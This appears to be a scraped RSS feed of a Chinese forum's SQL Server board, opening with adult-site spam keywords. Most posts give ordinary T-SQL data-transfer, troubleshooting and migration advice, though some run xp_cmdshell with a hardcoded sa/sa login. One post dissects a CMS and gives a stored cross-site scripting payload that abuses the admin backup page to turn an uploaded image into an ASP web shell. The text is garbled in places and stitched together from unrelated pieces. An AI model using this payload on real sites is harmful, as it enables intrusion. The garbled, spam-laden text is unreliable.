亚洲男人的天堂久久无,亚洲人成电影在线播放,亚洲人成电影在在线观看网色http://www.bjzhda.cnzh-cn曙海教育集團(tuán)論壇http://www.bjzhda.cnRss Generator By Dvbbs.Netofficeoffice@126.comimages/logo.gif曙海教育集團(tuán)論壇數(shù)據(jù)庫中SQL Server和Access、Excel數(shù)據(jù)傳輸簡單總結(jié)http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2534&Page=1wangxinxin2010-12-13 14:01:21所謂的數(shù)據(jù)傳輸,其實(shí)是指SQLServer訪問Access、Excel間的數(shù)據(jù)。為什么要考慮到這個(gè)問題呢?由于歷史的原因,客戶以前的數(shù)據(jù)很多都是在存入在文本數(shù)據(jù)庫中,如Acess、Excel、Foxpro�,F(xiàn)在系統(tǒng)升級(jí)及數(shù)據(jù)庫服務(wù)器如SQLServer、ORACLE后,經(jīng)常需要訪問文本數(shù)據(jù)庫中的數(shù)據(jù),所以就會(huì)產(chǎn)生這樣的需求。前段時(shí)間出差的項(xiàng)目,就是面臨這樣的一個(gè)問題:SQLServer和VFP之間的數(shù)據(jù)交換。

要完成標(biāo)題的需要,在SQLServer中是一件非常簡單的事情。通常的可以有3種方式:1、DTS工具 2、BCP 3、分布式查詢DTS就不需要說了,因?yàn)槟鞘菆D形化操作界面,很容易上手。這里主要講下后面兩們,分別以查、增、刪、改作為簡單的例子:

直接以T-SQL的形式表現(xiàn)出來。

一、SQLServer和Access

1、查詢Access中數(shù)據(jù)的方法:

select * from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')

或select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0','Data Source="c:\DB2.mdb";User ID=Admin;Password=')...serv_user

2、從SQLServer向Access寫數(shù)據(jù):

insert into OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')
select * from SQLServer表

或用BCPmaster..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'

上面的區(qū)別主要是:OpenRowSet需要mdb和表存在,BCP會(huì)在不存在的時(shí)候生成該mdb

3、從Access向SQLServer寫數(shù)據(jù):

有了上面的基礎(chǔ),這個(gè)就很簡單了

insert into SQLServer表 select * from
OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from Accee表')

或用BCP

master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" in "c:\db3.mdb" -c -q -S"." -U"sa" -P"sa"'

4、刪除Access數(shù)據(jù):

delete from OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
where lock=0

5、修改Access數(shù)據(jù)

update OpenRowSet('microsoft.jet.oledb.4.0',';database=c:\db2.mdb','select * from serv_user')
set lock=1

SQLServer和Access大致就這么多。

二、SQLServer和Excel

1、向Excel查詢

select * from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;HDR=yes;database=c:\book1.xls;','select * from [Sheet1$]') where c like '%f%'

select * from
OPENROWSET('MICROSOFT.JET.OLEDB.4.0'
,'Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:\book1.xls',[sheet1$])

1)hdr=yes時(shí)可以把xls的第1行作為字段看待,如第1個(gè)中hdr=no的話,where時(shí)就會(huì)報(bào)錯(cuò)
2)[]和美圓$必須要,否則M$可不認(rèn)這個(gè)賬

2、修改Execl

update OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;database=c:\book1.xls;','select * from [Sheet1$]')
set a='erquan' where c like '%f%'

3、導(dǎo)入導(dǎo)出
insert into OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;hdr=yes;database=c:\book1.xls;','select * from [Sheet2$]')(id,name)
select id,name from serv_user

或BCP         master..xp_cmdshell'bcp "serv-htjs.dbo.serv_user" out "c:\book2.xls" -c -q -S"." -U"sa" -P"sa"'

從Excel向SQLServer導(dǎo)入:

select * into serv_user_bak
from OpenRowSet('microsoft.jet.oledb.4.0','Excel 8.0;HDR=yes;database=c:\book1.xls;','select * from [Sheet1$]')

如果表serv_user_bak不存在,則創(chuàng)建有關(guān)BCP和分布式查詢的詳細(xì)解答,就查SQLServer自帶的幫助吧。SQLServer和txt文件、HTML文件、VFP文件的數(shù)據(jù)交換都顯得非常容易了。

其實(shí)這些內(nèi)容在幫助里都有,總結(jié)了一下,方便大家參考。以上內(nèi)容都經(jīng)過測試。

]]>
如何在程序中不同數(shù)據(jù)庫間操作數(shù)據(jù)?http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2533&Page=1wangxinxin2010-12-13 13:49:31但執(zhí)行下述語句時(shí)卻不成功,顯示出錯(cuò)信息如下:[DBNETLIB][ConnectionOpe(Connect().]SQL Server不存在或拒絕訪問,如何解決呢?
(其目的是想從本地?cái)?shù)據(jù)庫選擇數(shù)據(jù)記錄,然后直接插入遠(yuǎn)程數(shù)據(jù)庫的表中�;蛘哂惺裁捶椒ǹ梢赃_(dá)到目的)
“it”為本地?cái)?shù)據(jù)庫名
ADOConnection.Connected := True;
ADOConnection.Execute('SELECT * into Test FROM openrowset(''sqloledb'',''it'';''sa'';''123456'',Test.dbo.Test) ');

2樓: 個(gè)人覺得是沒有開SQL SERVER驗(yàn)證,連接串是什么

下面最經(jīng)典的帖子,

一."SQL Server 不存在或訪問被拒絕"

這個(gè)是最復(fù)雜的,錯(cuò)誤發(fā)生的原因比較多,需要檢查的方面也比較多.
一般說來,有以下幾種可能性:
1,SQL Server名稱或IP地址拼寫有誤
2,服務(wù)器端網(wǎng)絡(luò)配置有誤
3,客戶端網(wǎng)絡(luò)配置有誤
要解決這個(gè)問題,我們一般要遵循以下的步驟來一步步找出導(dǎo)致錯(cuò)誤的原因.
============= 首先,檢查網(wǎng)絡(luò)物理連接 =============
ping <服務(wù)器IP地址/服務(wù)器名稱>
如果 ping <服務(wù)器IP地址> 不成功,說明物理連接有問題,這時(shí)候要檢查硬件設(shè)備,如網(wǎng)卡,HUB,路由器等.還有一種可能是由于客戶端和服務(wù)器之間安裝有防火墻軟件造成的,比如 ISA Server.防火墻軟件可能會(huì)屏蔽對(duì) ping,telnet 等的響應(yīng)
因此在檢查連接問題的時(shí)候,我們要先把防火墻軟件暫時(shí)關(guān)閉,或者打開所有被封閉的端口.
如果ping <服務(wù)器IP地址> 成功而,ping <服務(wù)器名稱> 失敗
則說明名字解析有問題,這時(shí)候要檢查 DNS 服務(wù)是否正常.
有時(shí)候客戶端和服務(wù)器不在同一個(gè)局域網(wǎng)里面,這時(shí)候很可能無法直接使用服務(wù)器名稱來標(biāo)識(shí)該服務(wù)器,這時(shí)候我們可以使用HOSTS文件來進(jìn)行名字解析,
具體的方法是:
1.使用記事本打開HOSTS文件(一般情況下位于C:\WINNT\system32\drivers\etc).
添加一條IP地址與服務(wù)器名稱的對(duì)應(yīng)記錄,如:
172.168.10.24 myserver

2.或在 SQL Server 的客戶端網(wǎng)絡(luò)實(shí)用工具里面進(jìn)行配置,后面會(huì)有詳細(xì)說明.

====接著,我們要到服務(wù)器上檢查服務(wù)器端的網(wǎng)絡(luò)配置,檢查是否啟用了命名管道.是否啟用了 TCP/IP 協(xié)議等等 =============
點(diǎn)擊:程序 -- Microsoft SQL Server -- 服務(wù)器網(wǎng)絡(luò)使用工具

打開該工具后,在"常規(guī)"中可以看到服務(wù)器啟用了哪些協(xié)議.
一般而言,我們啟用命名管道以及 TCP/IP 協(xié)議.
點(diǎn)中 TCP/IP 協(xié)議,選擇"屬性",我們可以來檢查 SQL Server 服務(wù)默認(rèn)端口的設(shè)置
一般而言,我們使用 SQL Server 默認(rèn)的1433端口.如果選中"隱藏服務(wù)器",則意味著客戶端無法通過枚舉服務(wù)器來看到這臺(tái)服務(wù)器,起到了保護(hù)的作用,但不影響連接.



============= 接下來我們要到客戶端檢查客戶端的網(wǎng)絡(luò)配置 =============
我們同樣可以利用 SQL Server 自帶的客戶端網(wǎng)絡(luò)使用工具來進(jìn)行檢查,
點(diǎn)擊:程序 -- Microsoft SQL Server -- 客戶端網(wǎng)絡(luò)使用工具

打開該工具后,在"常規(guī)"項(xiàng)中,可以看到客戶端啟用了哪些協(xié)議.
一般而言,我們同樣需要啟用命名管道以及 TCP/IP 協(xié)議.
點(diǎn)擊 TCP/IP 協(xié)議,選擇"屬性",可以檢查客戶端默認(rèn)連接端口的設(shè)置,該端口必須與服務(wù)器一致.
單擊"別名"選項(xiàng)卡,還可以為服務(wù)器配置別名.服務(wù)器的別名是用來連接的名稱,
連接參數(shù)中的服務(wù)器是真正的服務(wù)器名稱,兩者可以相同或不同.別名的設(shè)置與使用HOSTS文件有相似之處.

二."無法連接到服務(wù)器,用戶xxx登陸失�。�

該錯(cuò)誤產(chǎn)生的原因是由于SQL Server使用了"僅 Windows"的身份驗(yàn)證方式,
因此用戶無法使用SQL Server的登錄帳戶(如 sa )進(jìn)行連接.解決方法如下所示:

1.在服務(wù)器端使用企業(yè)管理器,并且選擇"使用 Windows 身份驗(yàn)證"連接上 SQL Server
操作步驟:
在企業(yè)管理器中
--右鍵你的服務(wù)器實(shí)例(就是那個(gè)有綠色圖標(biāo)的)
--編輯SQL Server注冊(cè)屬性
--選擇"使用windows身份驗(yàn)證"

--選擇"使用SQL Server身份驗(yàn)證"
--登錄名輸入:sa,密碼輸入sa的密碼
--確定

2.設(shè)置允許SQL Server身份登錄
操作步驟:
在企業(yè)管理器中
--展開"SQL Server組",鼠標(biāo)右鍵點(diǎn)擊SQL Server服務(wù)器的名稱
--選擇"屬性"
--再選擇"安全性"選項(xiàng)卡
--在"身份驗(yàn)證"下,選擇"SQL Server和 Windows ".
--確定,并重新啟動(dòng)SQL Server服務(wù).

在以上解決方法中,如果在第 1 步中使用"使用 Windows 身份驗(yàn)證"連接 SQL Server 失敗,
那就通過修改注冊(cè)表來解決此問題:

1.點(diǎn)擊"開始"-"運(yùn)行",輸入regedit,回車進(jìn)入注冊(cè)表編輯器
2.依次展開注冊(cè)表項(xiàng),瀏覽到以下注冊(cè)表鍵:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer]
3.在屏幕右方找到名稱"LoginMode",雙擊編輯雙字節(jié)值
4.將原值從1改為2,點(diǎn)擊"確定"
5.關(guān)閉注冊(cè)表編輯器
6.重新啟動(dòng)SQL Server服務(wù).

此時(shí),用戶可以成功地使用sa在企業(yè)管理器中新建SQL Server注冊(cè),
但是仍然無法使用Windows身份驗(yàn)證模式來連接SQL Server.
這是因?yàn)樵?SQL Server 中有兩個(gè)缺省的登錄帳戶:
BUILTIN\Administrators
<機(jī)器名>\Administrator 被刪除.
要恢復(fù)這兩個(gè)帳戶,可以使用以下的方法:

1.打開企業(yè)管理器,展開服務(wù)器組,然后展開服務(wù)器
2.展開"安全性",右擊"登錄",然后單擊"新建登錄"
3.在"名稱"框中,輸入 BUILTIN\Administrators
4.在"服務(wù)器角色"選項(xiàng)卡中,選擇"System Administrators"
5.點(diǎn)擊"確定"退出
6.使用同樣方法添加 <機(jī)器名>\Administrator 登錄.
說明:

以下注冊(cè)表鍵:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\MSSQLServer\LoginMode
的值決定了SQL Server將采取何種身份驗(yàn)證模式.
1.表示使用"Windows 身份驗(yàn)證"模式
2.表示使用混合模式(Windows 身份驗(yàn)證和 SQL Server 身份驗(yàn)證).


]]>
利用or構(gòu)造SQL巧妙注射-分析睿智管理系統(tǒng)安全http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2532&Page=1wangxinxin2010-12-13 13:47:46???? 最近上cnzz下載了一套網(wǎng)站管理系統(tǒng),在源碼首頁發(fā)現(xiàn)它,心想cnzz都推薦應(yīng)該安全性相當(dāng)不錯(cuò)了.官方下載最新版本本地搭建IIS測試發(fā)現(xiàn)簡潔易用,整體上安全做得不錯(cuò).由于是免費(fèi)版的,可能官方有點(diǎn)放水.不過這里不影響我們的分析,這里討論兩個(gè)方面:跨站的利用,SQL注射.還是一句話:重在思路.
一.隱藏的數(shù)據(jù)庫
分析代碼經(jīng)常要用到數(shù)據(jù)庫(我分析的是Access版本的) ,習(xí)慣性的打開數(shù)據(jù)庫,驚奇的發(fā)現(xiàn)只有一個(gè)notdown表,如圖01:
  
可是再仔細(xì)查看代碼發(fā)現(xiàn)不應(yīng)該只有這張表的,于是就想是不是隱藏起來了?第一次看到這種情況,于是就查看了下Access幫助說明,在其中發(fā)現(xiàn)原來有還存在兩種屬性的數(shù)據(jù)表,即系統(tǒng)對(duì)象和隱藏對(duì)象.下面做一個(gè)小知識(shí)補(bǔ)充:
由于Access默認(rèn)是不顯示系統(tǒng)對(duì)象和隱藏對(duì)象的.所以如果一個(gè)表中存在隱藏對(duì)象或者系統(tǒng)對(duì)象那么就無法看到該表了. 簡單說下隱藏方法,設(shè)計(jì)好表后右擊表選擇&quot;屬性&quot;-&gt;&quot;隱藏&quot;屬性打勾,刷新下就看不到了,這樣就是隱藏對(duì)象了,默認(rèn)是看不到的.至于系統(tǒng)對(duì)象,我們可以修改表的前綴為 usys,這樣就可以把表改成一個(gè)系統(tǒng)對(duì)象.這兩種方法都可以.
既然可以隱藏當(dāng)然也可以恢復(fù)顯示了, 按如下操作:“工具”菜單-&gt;“選項(xiàng)”命令-&gt;“視圖”選項(xiàng)卡-&gt;選中“顯示”一欄下的“系統(tǒng)對(duì)象”復(fù)選框或者&quot;隱藏對(duì)象&quot;復(fù)選框,并按下“確定”按鈕,就可以重新顯示所有表了.如圖02
  
Ok了,數(shù)據(jù)就可以和正常的一樣了.
二.跨站的深入利用雞肋
首先看看漏洞文件/include/PlS.asp,查看代碼發(fā)現(xiàn)是一個(gè)評(píng)論顯示,在多個(gè)文件被包含了,代碼如下:  
&quot;&quot; then
??????Dim Author,Content,mycode
????Author=Trim(Request.Form(&quot;Author&quot;))// 簡單的過濾空格
????Content=Trim(Request.Form(&quot;Content&quot;)) //同上
????mycode = trim(request.form(&quot;code&quot;))
??????if Author=&quot;&quot; or Content=&quot;&quot; then
??????Call Alert (&quot;請(qǐng)?zhí)顚懲暾偬峤?amp;quot;,&quot;-1&quot;)
????end if
????if mycodeSession(&quot;getcode&quot;) then
?????? Call Alert (&quot;您輸入驗(yàn)證碼錯(cuò)誤&quot;,&quot;-1&quot;)
????end if
??????set rs = server.CreateObject (&quot;adodb.recordset&quot;)
????sql=&quot;select * from zhi_rui_E_Pl&quot;
????rs.open sql,conn,1,3
????rs.addnew
????rs(&quot;cli&quot;)=Request.Form(&quot;cli&quot;)
????rs(&quot;Ioid&quot;)=request.Form(&quot;Inid&quot;)
????rs(&quot;Author&quot;)=Author
????rs(&quot;Content&quot;)=Content
??------------------------省略部分代碼-------------------------------
%&gt;

顯然沒有任何過濾,直接寫入數(shù)據(jù)庫,跨站產(chǎn)生了.由于數(shù)據(jù)庫是mdb格式的,所有插馬也沒用.這里就想到了是否可以備份數(shù)據(jù)庫?進(jìn)入后臺(tái)看到數(shù)據(jù)庫備份,查看如圖03:
  
看到了沒,據(jù)庫路徑和備份文件名都不能修改,有些朋友可能就到這里停止,其實(shí)不然,還可以繼續(xù),經(jīng)驗(yàn)告訴我,他是將該輸入框?qū)懗蒱idden隱藏域了,查看文件/admin/Admin_Data.asp代碼如下:  
&quot; size=&quot;40&quot; /&gt;[/td]

看到這行type=hidden,猜測沒錯(cuò).那也就是說同樣可以備份任意文件了.所有后臺(tái)拿shell比較簡單了.(插馬備份數(shù)據(jù)庫比較麻煩,要繞過// 判斷瀏覽器類型并定義創(chuàng)建xmlhttp會(huì)話
if (window.XMLHttpRequest)
{
??xmlhttp = new XMLHttpRequest();
} else if (window.ActiveXObject)
{
??try
??{
????xmlhttp = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
??}
??catch (e)
??{
????try
????{
??????xmlhttp = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
????}
????catch (e)
????{
????}
??}
}
function backup()
{
??var postStr = &quot;DBpath=upload/2009082150598817.jpg&amp;bkfolder=../DataBase/bak/&amp;bkDBname=l4nk0r.asp&quot;;
??xmlhttp.open(&quot圖片點(diǎn)擊可在新窗口打開查看OST&quot;,&quot;/admin/Admin_data.asp?action=RestoreData&amp;act=Restore&quot;,true);
??xmlhttp.setRequestHeader(&quot;Content-Type&quot;,&quot;application/x-www-form-urlencoded&quot;);
??xmlhttp.send(postStr);
}
Backup();

然后在你要提交的地方提交
]]>
Vista真夠絕:只支持SQL Server 2005http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2531&Page=1wangxinxin2010-12-13 13:45:58
以下內(nèi)容含腳本,或可能導(dǎo)致頁面不正常的代碼
說明:上面顯示的是代碼內(nèi)容。您可以先檢查過代碼沒問題,或修改之后再運(yùn)行.
]]>
用SQL Server 2000完成簡單的企業(yè)工資管理系統(tǒng)http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2530&Page=1wangxinxin2010-12-13 13:40:37    當(dāng)對(duì)企業(yè)級(jí)的高性能的數(shù)據(jù)庫的要求和需求增加時(shí),客戶有時(shí)需要從文件棗服務(wù)器環(huán)境的Microsoft Access Jet引擎遷移到客戶棗服務(wù)器環(huán)境的Microsoft SQL Server。隨同微軟Office 2000發(fā)行的Access 2000 Upsizing Wizard(升級(jí)向?qū)В┛梢园袮ccess表格和查詢遷移到SQL Server 7.0。如果你使用Access的早期版本,你也可以通過升級(jí)到Access 2000,并使用升級(jí)向?qū)О涯愕膽?yīng)用程序移植到SQL SERVER。

    如果你不喜歡使用Access 2000和升級(jí)向?qū)нM(jìn)行移植,那么這篇文章作為向遷移一個(gè)Access應(yīng)用程序到SQL Server。要遷移Access應(yīng)用程序,你需要首先把數(shù)據(jù)遷移到SQL Server 7.0,然后把Access查詢移植到數(shù)據(jù)庫或SQL文件,最后是移植應(yīng)用程序。

●移植中使用的SQL Server工具

    SQL Server中的一些工具可以幫助你移植Access數(shù)據(jù)和應(yīng)用程序

*SQL Server企業(yè)管理器

    SQL Server企業(yè)管理器允許對(duì)SQL Server和SQL Server對(duì)象的企業(yè)范圍的設(shè)置和管理。SQL Server企業(yè)管理器提供了一個(gè)強(qiáng)大的任務(wù)安排引擎、管理警告能力、以及內(nèi)建的復(fù)制管理界面。你還可以用SQL Server企業(yè)管理器來:

管理登錄和用戶權(quán)限
創(chuàng)建腳本
管理SQL SERVER對(duì)象的備份
備份數(shù)據(jù)庫和事務(wù)日志
管理表、視圖、存儲(chǔ)過程、觸發(fā)器、索引、規(guī)則、缺省設(shè)定和自定義數(shù)據(jù)類型
創(chuàng)建全文索引、數(shù)據(jù)庫圖表和數(shù)據(jù)庫維護(hù)方案
輸入輸出數(shù)據(jù)
轉(zhuǎn)換數(shù)據(jù)
執(zhí)行不同的Web網(wǎng)絡(luò)管理任務(wù)
缺省情況下,SQL Server企業(yè)管理器被SQL Server作為服務(wù)器軟件的一部分安裝在運(yùn)行Windows NT操作系統(tǒng)的計(jì)算機(jī)上,同時(shí)作為客戶軟件的一部分安裝在運(yùn)行Windows NT和Windows 95操作系統(tǒng)的計(jì)算機(jī)上。你很可能要從SQL Server企業(yè)管理器的圖形用戶界面啟動(dòng)數(shù)據(jù)轉(zhuǎn)換服務(wù)(Data Transformation Services,DTS)。

數(shù)據(jù)轉(zhuǎn)換服務(wù)(DTS)

    數(shù)據(jù)轉(zhuǎn)換服務(wù)允許你在使用一個(gè)OLE DB結(jié)構(gòu)的多個(gè)數(shù)據(jù)源之間輸入和輸出數(shù)據(jù),這樣的數(shù)據(jù)源有Microsoft Excel電子表格,以及在運(yùn)行SQL Server 7.0的多臺(tái)計(jì)算機(jī)之間執(zhí)行數(shù)據(jù)庫和數(shù)據(jù)庫對(duì)象的傳輸。你還可以用DTS來執(zhí)行數(shù)據(jù)轉(zhuǎn)換,以便用它來通過一個(gè)在線事務(wù)處理系統(tǒng)建立數(shù)據(jù)倉庫和數(shù)據(jù)商場。

    DTS向?qū)г试S你交互的創(chuàng)建使用OLE DB和ODBC來進(jìn)行輸入、輸出、確認(rèn)和不同數(shù)據(jù)的轉(zhuǎn)換的DTS包。向?qū)н€允許你在相關(guān)數(shù)據(jù)庫之間拷貝計(jì)劃和數(shù)據(jù)。

SQL SERVER查詢分析器(Server Query Analyzer)

    SQL SERVER查詢分析器是一個(gè)圖形化查詢工具,它允許你可視化的分析一個(gè)查詢方案,同時(shí)執(zhí)行多重查詢、查看數(shù)據(jù)、獲得索引建議。SQL Server查詢分析器提供顯示方案(showplan)選項(xiàng),可以用它來報(bào)告SQL Server查詢優(yōu)化器選擇的數(shù)據(jù)獲取方案。

SQL Server輪廓(Server Profiler)

    SQL SERVER輪廓實(shí)時(shí)捕捉服務(wù)器活動(dòng)的連續(xù)的記錄。SQL Server輪廓允許你監(jiān)控通過SQL Server產(chǎn)生的事件,過濾基于用戶指定準(zhǔn)則的事件和直接跟蹤到顯示器、文件或者表的輸出。使用SQL Server輪廓,你可以重放先前的捕捉記錄。這個(gè)工具幫助應(yīng)用程序開發(fā)人員鑒別可能使應(yīng)用程序性能惡化的事務(wù)。當(dāng)從一個(gè)基于文件的體系結(jié)構(gòu)移植一個(gè)應(yīng)用程序到一個(gè)基于客戶/服務(wù)器的體系結(jié)構(gòu)時(shí),它是很有幫助的,因?yàn)樽詈蟮牟襟E包含針對(duì)應(yīng)用程序的新客戶/服務(wù)器環(huán)境優(yōu)化該應(yīng)用程序的操作。

移動(dòng)表格和數(shù)據(jù)

    使用DTS向?qū)нw移你的Access數(shù)據(jù)到SQL Server,你可以使用這些步驟:

    在SQL SERVER企業(yè)管理器中的Tools(工具)菜單上,選擇Data Transformation Services(數(shù)據(jù)轉(zhuǎn)換服務(wù)),然后選擇Import Data(導(dǎo)入數(shù)據(jù))。
在Choose a Data Source(選擇數(shù)據(jù)源)對(duì)話框中選擇Microsoft Access as the Source,然后鍵入你的.mdb數(shù)據(jù)庫(.mdb文件擴(kuò)展名)的文件名或通過瀏覽尋找該文件。
在Choose a Destination(選擇目標(biāo))對(duì)話框中,選擇Microsoft OLE DB Provider for SQL Server,選擇數(shù)據(jù)庫服務(wù)器,然后單擊必要的驗(yàn)證方式。
在Specify Table Copy(指定表格復(fù)制)或Query(查詢)對(duì)話框中,單擊Copy tables(復(fù)制表格)。
在Select Source Tables(選擇源表格)對(duì)話框中,單擊Select All(全部選定)。

移植Microsoft Access查詢

    你必須以這些格式之一遷移你現(xiàn)有的Access查詢到SQL Server:

Transact-SQL腳本

    Transact-SQL語句通常從數(shù)據(jù)庫程序被調(diào)用,但是你可以使用包含在SQL Server 7.0中的SQL Server查詢分析器在數(shù)據(jù)庫中直接運(yùn)行它們。SQL Server查詢分析器幫助開發(fā)者針對(duì)開發(fā)數(shù)據(jù)庫測試Transact-SQL語句,或運(yùn)行Transact-SQL語句執(zhí)行查詢、數(shù)據(jù)操作(INSERT、UPDATE、DELETE)或數(shù)據(jù)定義(CREATE TABLE)。

存儲(chǔ)過程

    開發(fā)者可以把大多數(shù)源于Access查詢(SELECT、INSERT、UPDATE 和 DELETE)的Transact-SQL語句轉(zhuǎn)換為存儲(chǔ)過程。用Transact-SQL寫的存儲(chǔ)過程可以用來封裝和標(biāo)準(zhǔn)化你的數(shù)據(jù)訪問,存儲(chǔ)過程實(shí)際上存儲(chǔ)在數(shù)據(jù)庫內(nèi)。存儲(chǔ)過程能帶或者不帶參數(shù)運(yùn)行,可以從數(shù)據(jù)庫程序調(diào)用,也可以從SQL Server查詢分析器手動(dòng)執(zhí)行。

視圖

    視圖作為虛擬的表格從一個(gè)或更多的表格顯露指定的行和列。它們?cè)试S用戶創(chuàng)建查詢而不用直接實(shí)現(xiàn)那些復(fù)雜的底層查詢。視圖不支持參數(shù)。向視圖加入一個(gè)更多的表格不能使用INSERT、UPDATE、或DELETE語句修改。視圖可以用Transact-SQL語句調(diào)用,并且也可以在SQL Server查詢分析器中的*.scripts中使用。SQL Server視圖和SQL-92標(biāo)準(zhǔn)不支持視圖中的ORDER BY 子句。
 

更多關(guān)于Transact-SQL、存儲(chǔ)過程或者視圖的信息,見SQL Server Books Online。

Access查詢類型
SQL Server移植選項(xiàng)和注釋

 
一個(gè)SELECT語句可以被存儲(chǔ)在Transact-SQL文件、存儲(chǔ)過程或者視圖中。
創(chuàng)建存儲(chǔ)過程是實(shí)現(xiàn)把數(shù)據(jù)庫應(yīng)用程序開發(fā)同數(shù)據(jù)庫設(shè)計(jì)的物理實(shí)現(xiàn)分離的最好方法。存儲(chǔ)過程在一個(gè)地方創(chuàng)建,并且被應(yīng)用程序調(diào)用。

如果底層數(shù)據(jù)庫改變了,并且存儲(chǔ)過程被仔細(xì)的修改以反映這些變化,則對(duì)存儲(chǔ)過程的調(diào)用不會(huì)被“中斷”。

CROSSTAB
交叉表經(jīng)常用于摘要報(bào)告。
Access交叉表可以在SQL腳本中作為Transact-SQL SELECT語句實(shí)現(xiàn),也可以作為存儲(chǔ)過程或者一個(gè)視圖實(shí)現(xiàn)。每次一個(gè)查詢被列舉的時(shí)候,數(shù)據(jù)節(jié)點(diǎn)將會(huì)重執(zhí)行,請(qǐng)確保使用最新的數(shù)據(jù)。
根據(jù)不同的數(shù)據(jù)庫需要,也許把交叉表中的數(shù)據(jù)存儲(chǔ)為臨時(shí)表比較合適(請(qǐng)參看下一行的MAKE TABLE)。臨時(shí)表只需要很少的資源,但是只提供了創(chuàng)建臨時(shí)表的時(shí)刻,數(shù)據(jù)的一個(gè)照相。

MAKE TABLE
Access的MAKE TABLE可以在Transact-SQL腳本或者存儲(chǔ)過程中作為Transact-SQL的CREATE TABLE語句實(shí)現(xiàn)。語法如下:

SELECT [ ALL | DISTINCT ]

[ {TOP integer | TOP integer PERCENT} [ WITH TIES] ]

]]>
用SQL Server 2000完成簡單的企業(yè)工資管理系統(tǒng)http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2529&Page=1wangxinxin2010-12-13 13:37:22SQL Server 2000完成簡單的企業(yè)工資管理系統(tǒng)
1.后臺(tái)代碼
/*******************************************************************
實(shí)訓(xùn)任務(wù):工資管理系統(tǒng)設(shè)計(jì) for MSSQLSERVER2000
作者:小金
E-MAIL:lk007@163.com
BBS:bbs.nettf.net/forums/index.php

函數(shù)匯總:
********視圖*************
v_month_all
作用:返回當(dāng)前年月的所有員工工資信息
語法:SELECT * FROM v_month_all

*******存儲(chǔ)過程***********
proc_query_member_info
作用:指定員工基本信息的查詢
語法:proc_query_member_info @name=QUERY_NAME
示例:EXEC proc_query_member_info @name='小金'

proc_query_group
作用:指定部門或全部部門的查詢
語法:proc_query_group @group=QUERY_NAME
示例:EXEC proc_query_group @group='安全部'
EXEC proc_query_group @group='ALL'

proc_all_acc_by_year
作用:統(tǒng)計(jì)指定年份整個(gè)企業(yè)的工資和各部門每個(gè)月份的工資總額
語法:proc_all_acc_by_year @year=QUERY_YEAR,@sign=SIGN
示例:EXEC proc_all_acc_by_year @year='2005',@sign='SUM'

proc_curmon_group
作用:返回當(dāng)前月份某個(gè)部門員工的工資信息
語法:proc_curmon_group @group=QUERY_GROUP
示例:EXEC proc_curmon_group @group='社會(huì)勞動(dòng)部'

proc_query_member_acc
作用:查詢指定員工的工資信息
語法:proc_query_member_acc @name=QUERY_NAME
示例:EXEC proc_query_member_acc @name='小金'

]]>
國際化使用UTF-8造成數(shù)據(jù)庫MSSQL Server 2000/2005存儲(chǔ)亂碼的分析http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2528&Page=1wangxinxin2010-12-13 13:34:58看了許多網(wǎng)上使用MSSQL Server 2000/2005使用UTF-8造成數(shù)據(jù)庫存儲(chǔ)亂碼的描述,也說一下自己做的一個(gè)國際化項(xiàng)目的經(jīng)驗(yàn)。
這個(gè)項(xiàng)目描述:
架構(gòu):VC++的ATL Server進(jìn)行開發(fā);
頁面:web頁面是UTF-8編碼,CodePage=65001;
應(yīng)用服務(wù)器程序:編譯好的dll是Unicode編碼;
操作系統(tǒng):中文Windows 2003 Server;
數(shù)據(jù)庫聯(lián)接方式:OLEDB
數(shù)據(jù)庫:中文MSSQL Sever2005,顯示Codepage=936,
字段都是支持Unicode的nchar,nvarcha,nText;
SELECT COLLATIONPROPERTY('Chinese_PRC_Stroke_CI_AI', 'CodePage')
936
________________________________________________

發(fā)現(xiàn)從Web頁面提交的數(shù)據(jù)到數(shù)據(jù)后查詢總是亂碼,經(jīng)過檢查,發(fā)現(xiàn)保存的數(shù)據(jù)直接就是是UTF-8編碼,其CodePage=65001,而數(shù)據(jù)默認(rèn)顯示支持的Unicode語言版本Codepage=936(即是簡體中文),所以數(shù)據(jù)查詢的就是亂碼,想過兩種方案:
1,懷疑是數(shù)據(jù)時(shí)UTF-8編碼,而SQLServer是UCS-2 版本,相通過UTF-8-〉UCS-2轉(zhuǎn)換,發(fā)現(xiàn)還是行不通,仍然亂碼,此路不通;
2,
搜索了網(wǎng)絡(luò)發(fā)現(xiàn)并沒有現(xiàn)成的例子,經(jīng)過測試中文系統(tǒng)使用Web頁面為GB2312編碼提交的數(shù)據(jù)到數(shù)據(jù)很正常,基于Windows2003是支持
Unicode(UCS-2),排除操作系統(tǒng)的問題,這個(gè)過程經(jīng)過分析可以這么理解:936(Web頁面編碼GB2312)-〉Unicode(應(yīng)用服務(wù)
器端)-〉Unicode(數(shù)據(jù)庫OLEDB傳輸)-〉UCS-2(數(shù)據(jù)庫)-〉自動(dòng)轉(zhuǎn)化為936(Unicode簡體中文語言版本),而使用UTF-8
的Web頁面這個(gè)過程就是:65001(Web頁面編碼UTF-8)-〉Unicode(應(yīng)用服務(wù)器端)-〉Unicode(數(shù)據(jù)庫OLEDB傳輸)-〉
